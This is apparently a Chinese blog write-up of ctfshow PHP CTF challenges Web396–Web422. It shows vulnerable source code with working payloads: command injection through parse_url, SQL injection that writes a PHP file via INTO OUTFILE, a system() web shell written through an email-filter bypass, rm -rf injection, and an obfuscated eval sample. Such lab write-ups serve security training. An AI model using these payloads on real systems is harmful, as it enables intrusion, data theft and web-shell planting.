# 前言
做做靶机,刷刷 ctfshow,暑假颓废的一天,本篇记录 ctfshow 其他的 php 篇解题过程
# Web396
<?php | |
error_reporting(0); | |
if(isset($_GET['url'])){ | |
$url = parse_url($_GET['url']); | |
shell_exec('echo '.$url['host'].'> '.$url['path']); | |
}else{ | |
highlight_file(__FILE__); | |
} |
题目中说到特定函数绕过,看到源码那必然就是 parse_url 的绕过咯,下面看一下官方文档中 parse_url 函数的示例
<?php | |
$url = '//www.example.com/path?googleguy=googley'; | |
// 在 5.4.7 之前这会输出路径 "//www.example.com/path" | |
var_dump(parse_url($url)); | |
?> |
那么就很简单咯,这里使用反引号执行命令,将结果放到 path 指向的文件中就可以了
payload1:
?url=http://`ls`/var/www/html/1.txt |
直接去访问 1.txt
payload2:
/?url=http://`cat%20fl0g.php`/var/www/html/1.txt |
# Web397
<?php | |
error_reporting(0); | |
if(isset($_GET['url'])){ | |
$url = parse_url($_GET['url']); | |
shell_exec('echo '.$url['host'].'> /tmp/'.$url['path']); | |
}else{ | |
highlight_file(__FILE__); | |
} |
比起上一题加了一点限制,路径写死在 /tmp 下面,这里简单的命令注入
?url=http://1/1;echo%20`ls`>/var/www/html/1.txt |
然后直接读取 flag
?url=http://1/1;echo%20`cat%20f*`>/var/www/html/1.txt |
# Web398
<?php | |
error_reporting(0); | |
if(isset($_GET['url'])){ | |
$url = parse_url($_GET['url']); | |
if(!preg_match('/;/', $url['host'])){ | |
shell_exec('echo '.$url['host'].'> /tmp/'.$url['path']); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
比起上一题又加了一些限制,但是限制是在 host 指向的部分,所以这里直接用上一题的 payload 即可
?url=http://1/;echo%20`cat%20f*`>/var/www/html/1.txt |
# Web399
<?php | |
error_reporting(0); | |
if(isset($_GET['url'])){ | |
$url = parse_url($_GET['url']); | |
if(!preg_match('/;|>/', $url['host'])){ | |
shell_exec('echo '.$url['host'].'> /tmp/'.$url['path']); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
还是对 host 指向的部分做限制,这里还是用上一题的 payload
# Web402
<?php | |
#error_reporting(0); | |
if(isset($_GET['url'])){ | |
$url = parse_url($_GET['url']); | |
var_dump($url); | |
if(preg_match('/http|https/i', $url['scheme'])){ | |
die('error'); | |
} | |
if(!preg_match('/;|>|\||base/i', $url['host'])){ | |
shell_exec('echo '.$url['host'].'> /tmp/'.$url['path']); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
这里的 $url ['scheme'] 指向的是传入 url 的协议,这里限制了是 http,并且对 host 指向做了限制,接着用上面的 payload 即可
# Web403
<?php | |
error_reporting(0); | |
if(isset($_GET['url'])){ | |
$url = parse_url($_GET['url']); | |
if(preg_match('/^((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)$/', $url['host'])){ | |
shell_exec('curl '.$url['scheme'].$url['host'].$url['path']); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
这里对 host 部分做了匹配,这里只需要构造一个 ip 即可
/?url=http://127.0.0.1/;echo `ls` >1.txt |
接着去读取 flag 即可
/?url=http://127.0.0.1/;echo `cat f*` >1.txt |
# Web404
这里有点搞,我一直以为环境没起来,原来是要访问 404.php
<?php | |
error_reporting(0); | |
if(isset($_GET['url'])){ | |
$url = parse_url($_GET['url']); | |
if(preg_match('/((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)./', $url['host'])){ | |
if(preg_match('/^\/[A-Za-z0-9]+$/', $url['path'])){ | |
shell_exec('curl '.$url['scheme'].$url['host'].$url['path']); | |
} | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
这里 host 匹配正则改了,没有了前面的 ^, 表示前面部分就是可控的了
?url=php://;echo `ls` >1.txt;1.1.1.11/1
用上面这个命令注入的 payload 来注入
接着打开这个 fl0g.php 文件即可
?url=php://;echo `cat f*` >1.txt;1.1.1.11/1 |
# Web405
<?php | |
error_reporting(0); | |
if(isset($_GET['url'])){ | |
$url = parse_url($_GET['url']); | |
if(preg_match('/((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)./', $url['host'])){ | |
if(preg_match('/^\/[A-Za-z0-9]+$/', $url['path'])){ | |
if(preg_match('/\~|\.|php/', $url['scheme'])){ | |
shell_exec('curl '.$url['scheme'].$url['host'].$url['path']); | |
} | |
} | |
} | |
}else{ | |
highlight_file(__FILE__); | |
echo 'parse_url 好强大'; | |
} |
上一题的 payload 直接做就行
# Web406
<?php | |
require 'config.php'; | |
//flag in db | |
highlight_file(__FILE__); | |
$url=$_GET['url']; | |
if(filter_var ($url,FILTER_VALIDATE_URL)){ | |
$sql = "select * from links where url ='{$url}'"; | |
$result = $conn->query($sql); | |
}else{ | |
echo '不通过'; | |
} |
这次不是 parse_url 函数了,这里使用的是 filter_var 这个过滤器,FILTER_VALIDATE_URL 这个过滤器的 ID 会将值当做 URl 来验证,很显然这题考察的就是有关 filter_var 的注入,在 url 中字符 “;”, “/”, “?”, “:”, “@”, “=” 和 “&” 被定义为保留字符
结合提示 flag 在 db 中,这里因为没有回显,将查询结果写入文件中
<?php | |
require 'config.php'; | |
$sql ='select flag from flag into outfile "/var/www/html/1.txt"'; | |
$result = $conn->query($sql); | |
var_dump($result); | |
?> | |
转为16进制 | |
?url=0://www.baidu.com;'union/**/select/**/1,0x3c3f70687020726571756972652027636f6e6669672e706870273b2473716c203d2773656c65637420666c61672066726f6d20666c616720696e746f206f757466696c6520222f7661722f7777772f68746d6c2f312e74787422273b24726573756c74203d2024636f6e6e2d3e7175657279282473716c293b7661725f64756d702824726573756c74293b203f3e/**/into/**/outfile/**/"/var/www/html/1.php"%23 |
先访问 1.php,再访问 1.txt 即可
# Web407
<?php | |
highlight_file(__FILE__); | |
error_reporting(0); | |
$ip=$_GET['ip']; | |
if(filter_var ($ip,FILTER_VALIDATE_IP)){ | |
call_user_func($ip); | |
} | |
class cafe{ | |
public static function add(){ | |
echo file_get_contents('flag.php'); | |
} | |
} |
FILTER_VALIDATE_IP 这个过滤器是验证 IP 地址的,验证成功调用了 call_user_func 来调用一个回调函数,这里只要调用 cafe 类的 add 函数即可,这里直接使用 IPV6 格式来绕过即可
?ip=cafe::add |
# Web408
<?php | |
highlight_file(__FILE__); | |
error_reporting(0); | |
$email=$_GET['email']; | |
if(filter_var ($email,FILTER_VALIDATE_EMAIL)){ | |
file_put_contents(explode('@', $email)[1], explode('@', $email)[0]); | |
} |
这个题是邮箱的一个验证,这里改一下原代码,去验证一下,传入的内容
<?php | |
highlight_file(__FILE__); | |
error_reporting(0); | |
$email=$_GET['email']; | |
if(filter_var ($email,FILTER_VALIDATE_EMAIL)){ | |
var_dump(explode('@', $email)[1], explode('@', $email)[0]); | |
} | |
else{ | |
echo "Invalid email"; | |
} |
简单的测试后发现 "","[]","()"和"<>" 是不能放在邮箱 @前缀中的,但是想要写马尖括号必须要使用,这里可以使用引号来绕过
这里看不到是因为被识别为标签了,这里去写马 rce 即可
?email="<?=system($_GET[1])?>"@1.php |
# Web409
<?php | |
highlight_file(__FILE__); | |
error_reporting(0); | |
$email=$_GET['email']; | |
if(filter_var ($email,FILTER_VALIDATE_EMAIL)){ | |
$email=preg_replace('/.flag/', '', $email); | |
eval($email); | |
} |
这题有个替换 flag 和他前面的字符为空,这里还是上一题的思路,因为这里是直接通过 eval 代码执行,如果用两个引号包裹会被识别为一个字符串不被执行,所以这里利用替换将前一个引号替换为空将后一个引号注释掉,可以看下面这个例子
这些知道后 payload 就很简单
?email="flagsystem($_GET[1]);//"@a.b&1=cat /flag |
# Web410
<?php | |
highlight_file(__FILE__); | |
error_reporting(0); | |
include('flag.php'); | |
$b=$_GET['b']; | |
if(filter_var ($b,FILTER_VALIDATE_BOOLEAN)){ | |
if($b=='true' || intval($b)>0){ | |
die('FLAG NOT HERE'); | |
}else{ | |
echo $flag; | |
} | |
} |
FILTER_VALIDATE_BOOLEAN 这个过滤器验证为布尔类型,PHP FILTER_VALIDATE_BOOLEAN 过滤器 (w3school.com.cn) 这里可以参考一下
- 如果是 "1", "true", "on" 以及 "yes",则返回 true。
- 如果是 "0", "false", "off", "no" 以及 "",则返回 false。
- 否则返回 NULL。
这里第二个 if 判断不能为 true 也不能为 1,这里使用 yes 或者 on 就行
# Web411
<?php | |
highlight_file(__FILE__); | |
error_reporting(0); | |
include('flag.php'); | |
$b=$_GET['b']; | |
if(filter_var ($b,FILTER_VALIDATE_BOOLEAN)){ | |
if($b=='true' || intval($b)>0 ||$b=='on' || $b=='ON'){ | |
die('FLAG NOT HERE'); | |
}else{ | |
echo $flag; | |
} | |
} |
和上一题一样,多了一个 no 的限制,这里使用 yes 即可
# Web412
<?php | |
highlight_file(__FILE__); | |
$ctfshow=$_POST['ctfshow']; | |
if(isset($ctfshow)){ | |
file_put_contents('flag.php', '//'.$ctfshow,FILE_APPEND); | |
include('flag.php'); | |
} |
这题考察 file_put_contents 函数,这个中的 FILE_APPEND 防止删除原有文件内容,这里拼接进去的内容会用 // 注释掉,这里使用 %0a 绕过即可
ctfshow=%0ahighlight_file(__FILE__);
# Web413
<?php | |
highlight_file(__FILE__); | |
$ctfshow=$_POST['ctfshow']; | |
if(isset($ctfshow)){ | |
file_put_contents('flag.php', '/*'.$ctfshow.'*/',FILE_APPEND); | |
include('flag.php'); | |
} |
这里使用 /**/ 的方法注释防止换行的绕过,只需要将前后都闭合即可
ctfshow=*/highlight_file(__FILE__);/* |
# Web414
<?php | |
highlight_file(__FILE__); | |
include('flag.php'); | |
$ctfshow=$_GET['ctfshow']; | |
if($ctfshow==true){ | |
if(sqrt($ctfshow)>=sqrt(intval($flag))){ | |
echo 'FLAG_NOT_HERE'; | |
}else{ | |
echo $flag; | |
} | |
} |
这里等于 true 没什么用,任意字符串都能满足,这里传入一个负数即可
# Web415
<?php | |
error_reporting(0); | |
highlight_file(__FILE__); | |
$k = $_GET[k]; | |
function getflag(){ | |
echo file_get_contents('flag.php'); | |
} | |
if($k=='getflag'){ | |
die('FLAG_NOT_HERE'); | |
}else{ | |
call_user_func($k); | |
} |
这里先判断如果 k 等于 getflag 就异常退出,这里最后又要调用 getflag,这里因为使用的是两个等号判断,所以这里直接用大写绕过即可
# Web416
<?php | |
error_reporting(0); | |
highlight_file(__FILE__); | |
class ctf{ | |
public function getflag(){ | |
return 'fake flag'; | |
} | |
final public function flag(){ | |
echo file_get_contents('flag.php'); | |
} | |
} | |
class show extends ctf{ | |
public function __construct($f){ | |
call_user_func($f); | |
} | |
} | |
echo new show($_GET[f]); |
这里 show 类继承与 ctf 类,这里直接去调用 ctf 的 flag 方法即可
# Web417
这里有一个附件先下载下来
<?php /*ctfshow*/define('aPeKTP0126',__FILE__);$cIYMfW=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$CBhSfw=$cIYMfW[3].$cIYMfW[6].$cIYMfW[33].$cIYMfW[30];$xWoIVy=$cIYMfW[33].$cIYMfW[10].$cIYMfW[24].$cIYMfW[10].$cIYMfW[24];$RkEEuV=$xWoIVy[0].$cIYMfW[18].$cIYMfW[3].$xWoIVy[0].$xWoIVy[1].$cIYMfW[24];$YFfKrW=$cIYMfW[7].$cIYMfW[13];$CBhSfw.=$cIYMfW[22].$cIYMfW[36].$cIYMfW[29].$cIYMfW[26].$cIYMfW[30].$cIYMfW[32].$cIYMfW[35].$cIYMfW[26].$cIYMfW[30];eval($CBhSfw("JGpYanRLZD0ianBRRHVrYkd3eW5abWlWek1mc0pDb0hGTnJxSUJTaGRQQXhMT0tFZ1d0dlVUZVJYYVlsY1RjUkNadW5WbWpHVUtIZUlmT2RZWHNEa1NwTVFFaXR4TnJBbHphcXdQQmJKZ0Z2V295aExOQzltb0Ryd1VWZUtvUDVoYVh4YWl1dnRGaGZtZmdRMllqQXRKVmVsZWtybWZnUTJhZ2R1eWV2M1VHRWxOV2VqblZ2aHkyOXVVaXdIWWdVa2ZpSjNSaUoyZkhKanZISjJ2WEoyZmdKaFNKZmhTSXloU0lSbVlneTVmVHdoZnVSaFNJcmhTSXdoU0lKaFNJcWhTSXVoZnVxMllnVUNZZ0xqWWdVWFlneTBZZ3kzemlKMXZISjJTaUoyelhKMmZqSjNmakozU2pKMnZUUmhmdVFoU1R5SVNqSjJSaVFjemp2U0ozVVpnR3c5WVZrSngyVW1pMWRJV2k0dXlldjNVR0VsUElVeGxIdnRlRHhLTHFCbmZJU3hsSHZ0ZUR4S0xxQm5mSUV4emp2VG9rdkpGUGY5WVZrSngyVW1pMWRJZjEwWllWa0p4MlVtaTFkQWZrMFpZVmtKeDJVbWkxZGpTazBaWVZrSngyVW1pMWRBZmswWllWa0p4MlVtaTFkalNrMDdZREVYSkRrNHZUMHV5MnRKZURoVFBJRXhsSHZ0ZUR4S0xxQm5mZ3R4bEh2dGVEeEtMcUJuZjEwWllWU3Nla3Y1eTFkbVdpNHV5MnRKZURoVFBJa3hsSHZ0ZUR4S0xxQm5mVHZ4emp2Q2VHRUJlM1E5WVZrSngyVW1pMWQzV2k0dXlldjNVR0VsUElxSVdnZHVnZVMybnU1NGxUMHV5ZXYzVUdFbFBJUWpXaTR1eWV2M1VHRWxQSWYyV2k0dXlldjNVR0VsUElRNVdpNHV5ZXYzVUdFbFBJUTJXaTR1eWV2M1VHRWxQSWZtV2k0dXlldjNVR0VsUElmaldpNHV5ZXYzVUdFbFBJZjFXaTR1eWV2M1VHRWxQSVEyV2k0dXlldjNVR0VsUElmbVdnQmh4S2tkYVh2U0ozVVpnR3dzUXVjVm5EZWd2V0VCVURzbW9QZVBSdTFIZjA1QVVxZXVTa1VkVWtjV2lxWU15SlVQdmVKbW5xWWVvMDVOUEswQWllY1F2dVV1ZmhVY3l1dG9naGVQTERZdGVXdlJVUDVQUjFVRFVxQlRvMWNzeUsxMG9WU2RKaHR0blB3MXlJa21SaFNwU0pjUG5oWVJVSng0TGtTREpLNXZma2NRZUpKQXhlZUJmZXZUZWhVaVVreG9TaHhlRnFldW51WVZQaFVzb2hmbWlLaHVmVGhzVUp2ZHhWUkFSdWhVZnVVM2d1Um1vSjhqZVRZVWUzeGJpR3M0YTBjNVNWQkpldTRqeUtkMVNxQkNKS2N0dmhZZVVleFNuMGNRUnVTZWlxeTBKS2hHbzF4V1NKaGduZXNJZ3FTaXZrVVpSR3ZQZjBoQWdQaHBMMGNRUnVTZWlxeTBKS2hHbzF4V1NKaGduZXNJZ3FTaXZrVVpSR3ZQZjBoSWl1ZXplMlNEZmV0VG9QQklpdXRYUjFlUXZUdmlvUHhwZTFMMWllU0JQVFNmdnFrSWl1ZXplMlNEZmV0VG9QQm1pMVNwU2pRY2FnZC9OVG0vTFZ0bVFWdmhVS2haVWl3R0ZQdnRvMlUzZkNxalNITGR5ZUVoaTF2UmZDcWpTSHU3WXExc0ZreGhSVDExTEtBdVVQU2JVVkpzUUhKMnZncWhTMHFoU1RRaGZ1eWhTdVJoU1RxMVlnZUNZZ0wyWWdMMGZYSjJ6Z1E0WWdZcVlnTG1ZZ0w0WWdMMVlnTEFZZ0w1WWdZRVNISjJSakozZkhKMlJISjJTWEoyU0l1aFNKeWhTVEpoU1R3aFNUZmhTSWZoU0lMaFN1eTBZZ1lYWWd5MmZJTGhTdXFIYWdkdVUyMUhna3Z1Tml2U29EdFdVSlluZjEwWllxMXNGa3hoUmhkMldpNHVnUHQ0ZTJlWFBJZklXaTR1Z1B0NGUyZVhQSWZtV2dkdUZLZXFnVmNvTml2U29EdFdVSlluZklTeGxIdlNvRHRXVUpZbmZnRXhsSHZTb0R0V1VKWW5mVHZ4bEh2U29EdFdVSlluZmdFeGxIdlNvRHRXVUpZbmZUdnh6anZkaWVjREowdTlZRGNodnFBTVBoZG1XaTR1Z1B0NGUyZVhQSXE0V2k0dWdQdDRlMmVYUElTeGxIdjZVSnZmb2hjbmZrMFpZRGNodnFBTVBoZEFXaTR1Z1B0NGUyZVhQSVEwV2dkdXZHZUF5V2VvTml2U29EdFdVSlluUzEwWllxMXNGa3hoUmhkQWYxMDdZVnhCeXVBSlVYNDlZcTFzRmt4aFJoZGpmaDBaWXExc0ZreGhSaGRJU2gwWllxMXNGa3hoUmhkanplMFpZcTFzRmt4aFJoZGpTaDBaWXExc0ZreGhSaGRJZmswWllxMXNGa3hoUmhkSWZoMFpZcTFzRmt4aFJoZElTZTBaWXExc0ZreGhSaGRqU2gwWllxMXNGa3hoUmhkSWZrMDdVV1V0blh3dVUyMUhna3Z1YVhZYXZnZTN5aHhtaVBTSmZWaHZvMFUzZWVlNG9LZVBnSzVUbzNFMlB1ZWlma2hwVWtjdWYwNXNQS0FveWVlVmVoZUhvMWNJeWVVYUZWZXB4cXZIZTFVUnlKeG1Ta3hRZXU5dW8xVXl5Z0VzZ2hTUEp1dnRlSWtsVWV4b2Vra3lnaGt1dld2Z1BURXNpaGNQZWhjSHZ1eUlKSzVYZmV2V29rdEp2R0VNUHV0c1NLU2VpR1lUbmdoa0poSjFmaFJqaWh4SG5WdFF5UDFWeDFlTW5rVUh2UHZxZUNTVlJ1MVFMcUJvbmhZUnkxVW1MZWtlTGt2dXYydnNKMUo1b2VZcG5xMXVvMXMwVXFlVmdrdkJndVNnb0lrWEplZW1lVnZEVWtTSFBrWWtQZVVvZWVVa3hxOVVmMVlZZ2dZa2ZoaGVucVlpZTN2YWVLZDVGa3hCTHFZSGVoY015VEUwaUt2SlBLdFRlSjVYeVBCaXZrY0JMa3ZTdmhVQWVXY1huZVJBZ3V2b25XcjBVcVVQSlZlUUpLMXRuZ0UzVVAxVm5lVWtndTVnZUtSMEpJU1ZlZVJtVTNoVWZLQURKUEI0Z2VZWnZoZVduV3Z6VXFlVm9WU1BKVEV0b0llMnlUa2F4VnZrSkt0UG5rWUFQaEoxSnExRHZoeFNlMGNESjFlNFIyWURTZ1NXdjBVUVBnWWRpUFlaZWdZVWV1Y3NlaHhtdmVVQlVEa2Vua2NaeVBCaW5ra1dMcWV2RmhjUmVreGtmS2twSkdrSmYwVXR5UEJWeGtTeVVWNW9lSWVTZTF0YXllVVFKR2tKbmdoMnloZWRKcTFrUHVTdWZoY2xKUGQ1b2VTRGZEeGhuSlVCZXVlemllU2VGQ1lIaVZ3bUpleDRpa2g2UlRlaWZLOGpKMjFVU2VZa3hxY2lvM3cxZTJjUHZlU3FpV3hKZjBVWGdKdG1TaHhNb2tFVGVKc0lQSzVkUjA5V1B1OVNmSllTVWVlcFNlY3B4cWNKaWtjRFBLQlZlS2VwZmVjSmYwVUNlcXRvbnExcGVXdGlvMm1BVXFVRUZlWWRuVkFIbkttalVlZWR4aFVQUksxV3ZWdmd5aHRpUGVjeVUzeFd2Z3YzSklrdWYxeUFuVjlvZXE1TUpQQUVGcTFxVWtTSGUyQW1KS0FtUmh4RGVUdlN2VkF2Z2dyNWZrU3FnVGV0aURFTmUxSjVGa2tlRnExb2VxYzJQUDFWRmt1bWl1aGdlS3ZieTJBZXgyZWR2R2V1ZlBtMWdQNVRmMWVCZmdFZXZlYzFlQ1NpaWVjcGdLOVVmUHRWZXV4U0ZxOXlpdTVTZTA1aWVna29mMUpqZ2h2aGVWdmd5aHhwU0poTXhWQXVuSlVJaTBTVGwxRWN5M2VhdjJ2MFBQQjRlZWNDVTJCaG5lVWtlcXhteUpCQ0pHU2dlR0VRZWdFcG4wY2tTV3hIZTNFWXkxUzNvMVlaZUd0VVBrVXRpMmNZTHFBQ0pHU2dlR0VRZWdFcG4wY2tTV3hIZTNFWXkxUzNvMVlaZUd0VVBrVXRncVNpdjJ2eXZLdHVlSzltZ3FTaUwxU1BMcXRlZlZCYml1SjF4MllXTHFoVEozeDNncVNpdjJ2eXZLdHVlSzltaTFTcExxOTNOZzBIYWl1N05JND0iO2V2YWwoJz8+Jy4kQ0JoU2Z3KCR4V29JVnkoJFJrRUV1VigkalhqdEtkLCRZRmZLclcqMiksJFJrRUV1VigkalhqdEtkLCRZRmZLclcsJFlGZktyVyksJFJrRUV1VigkalhqdEtkLDAsJFlGZktyVykpKSk7"));?> |
出题人挺骚的,一波 base 后
<?php | |
include('flag.php'); | |
$c=$_GET['ctf']; | |
if($c=='show'){ | |
echo $flag; | |
}else{ | |
echo 'FLAG_NOT_HERE'; | |
} | |
?> |
那就很简单了,传入 ctf=show 即可
# Web418
<?php | |
$key= 0; | |
$clear='clear.php'; | |
highlight_file(__FILE__); | |
// 获取参数 | |
$ctfshow=$_GET['ctfshow']; | |
// 包含清理脚本 | |
include($clear); | |
extract($_POST); | |
if($key===0x36d){ | |
// 帮黑阔写好后门 | |
eval('<?php '.$ctfshow.'?>'); | |
}else{ | |
$die?die('FLAG_NOT_HERE'):clear($clear); | |
} | |
function clear($log){ | |
shell_exec('rm -rf '.$log); | |
} |
虽然题目上有后面,但是这里判断使用的是强等于,无法绕过,这里对于 post 传人的数据没有限制,这里完全可以进行变量覆盖,最后面还藏了一段 clear 这个函数,可以命令注入
k=1&die=0&clear=;ls >1.txt |
k=1&die=0&clear=;cat flag.php >1.txt |
# Web419
<?php | |
highlight_file(__FILE__); | |
$code = $_POST['code']; | |
if(strlen($code) < 17){ | |
eval($code); | |
} |
长度限制,17 位利用空间很大
code=`cat f* >1.txt`; |
# Web420
<?php | |
highlight_file(__FILE__); | |
$code = $_POST['code']; | |
if(strlen($code) < 8){ | |
system($code); | |
} |
这里可以直接 rce 了,不过长度现在在 8 位
这里找到 flag 在上一级目录中所以这里可以直接打开即可
nl ../* |
# Web421
<?php | |
highlight_file(__FILE__); | |
$code = $_POST['code']; | |
if(strlen($code) < 6){ | |
system($code); | |
} |
ok 这次是 6 位
flag 就在当前目录
# Web422
<?php | |
highlight_file(__FILE__); | |
$code = $_POST['code']; | |
if(strlen($code) < 5){ | |
system($code); | |
} |
长度是 5 位